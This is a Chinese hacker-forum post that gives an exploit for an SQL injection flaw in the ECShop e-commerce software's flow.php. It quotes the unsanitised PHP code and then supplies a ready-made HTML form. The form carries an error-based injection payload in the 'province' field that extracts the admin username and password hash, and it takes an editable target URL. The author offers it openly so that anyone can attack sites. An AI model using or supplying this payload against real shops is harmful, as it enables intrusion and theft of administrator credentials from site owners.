漏洞作者:y35u(t00ls)
EXP:小Dの马甲(习科信息技术)
这个漏洞不是我发现的,我也没有t00ls的账号,只是看到有人发这个内容,利用方法太“高端”,咱给个大家都会用的
注入发生在flow.php这个文件:

elseif ($_REQUEST['step'] == 'consignee')
{
....
/*保存收货人信息*/
$consignee = array(
   'address_id'    => empty($_POST['address_id']) ? 0  : intval($_POST['address_id']),
   'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
   'country'       => empty($_POST['country'])    ? '' : $_POST['country'],
   'province'      => empty($_POST['province'])   ? '' : $_POST['province'],
   'city' => empty($_POST['city'])       ? '' : $_POST['city'],
   'district'      => empty($_POST['district'])   ? '' : $_POST['district'],
   'email'=> empty($_POST['email'])      ? '' : $_POST['email'],
   'address'       => empty($_POST['address'])    ? '' : $_POST['address'],
   'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
   'tel'  => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
   'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
   'sign_building' => empty($_POST['sign_building']) ? '' : $_POST['sign_building'],
   'best_time'     => empty($_POST['best_time'])  ? '' : $_POST['best_time'],
);
if ($_SESSION['user_id'] > 0){
   include_once(ROOT_PATH . 'includes/lib_transaction.php');
   /* 如果用户已经登录,则保存收货人信息 */
   $consignee['user_id'] = $_SESSION['user_id'];
   save_consignee($consignee, true);
}
/* 保存到session */
        $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
        ecs_header("Location: flow.php?step=checkout\n");
        exit;
...

对POST取值没做处理
原作者对漏洞的描述是:
把任意商品加入购物车在填写配送地址那一页,有地区选择,随便选个地区,post数据为

country=1&province=11&city=152&district=1294&consignee=1111111&email=111111%40qq.com&address=1111111&zipcode=&tel=1111111&mobile=&sign_building=&best_time=&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=

修改province这个变量,可以进行错误回显注入

那么我给个代码,登陆目标网站,注册,选任意一件商品加入到购物车,然后结算,将下面的代码保存为html就可以注入了

<form name="form1" method="post">
ECSHOP通版本注入漏洞 2012圣诞版简单EXP [ Silic Group Hacker Army ]<input name="country" type="text" style="display:none" value="1"/><br />
<textarea rows="5" style="font-family:Times New Roman;font-size:14pt;" cols="80" name="province">11'and(select 1 from(select count(*),concat(floor(rand(0)*2),0x3a,(select(select(SELECT concat(user_name,0x3a,password)FROM ecs_admin_user limit 0,1))from information_schema.tables limit 0,1))x from information_schema.tables group by x)a) and 1=1#</textarea>
<input name="district" type="text" style="display:none" value="1294"/>
<input name="consignee" type="text" style="display:none" value="1111111"/>
<input name="email" type="text" style="display:none" value="silic@blackbap.com"/>
<input name="address" type="text" style="display:none" value="111111"/>
<input name="tel" type="text" style="display:none" value="1111111"/>
<input name="step" type="text" style="display:none" value="consignee"/>
<input name="act" type="text" style="display:none" value="checkout"/><br /><br />
地址:<input name="theAction" type="text" id="theAction" value="http://xxx.com/flow.php?step=consignee" size="50"><br /><br />
<input type="submit" value="配送至这个地址" onClick="this.form.action=this.form.theAction.value;" name="Submit"><br/><br />
//BlackBap.Org
</form>

*注:原作者贴出的漏洞描述中,province=11')xxxx....语句,经本文作者测试,有的版本是不需要括号)闭合的,大家可以这个语句限mysql 5.x版本,4.x不适用。其他见3楼。
本文由习科网站管理员添加

原文地址:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=3500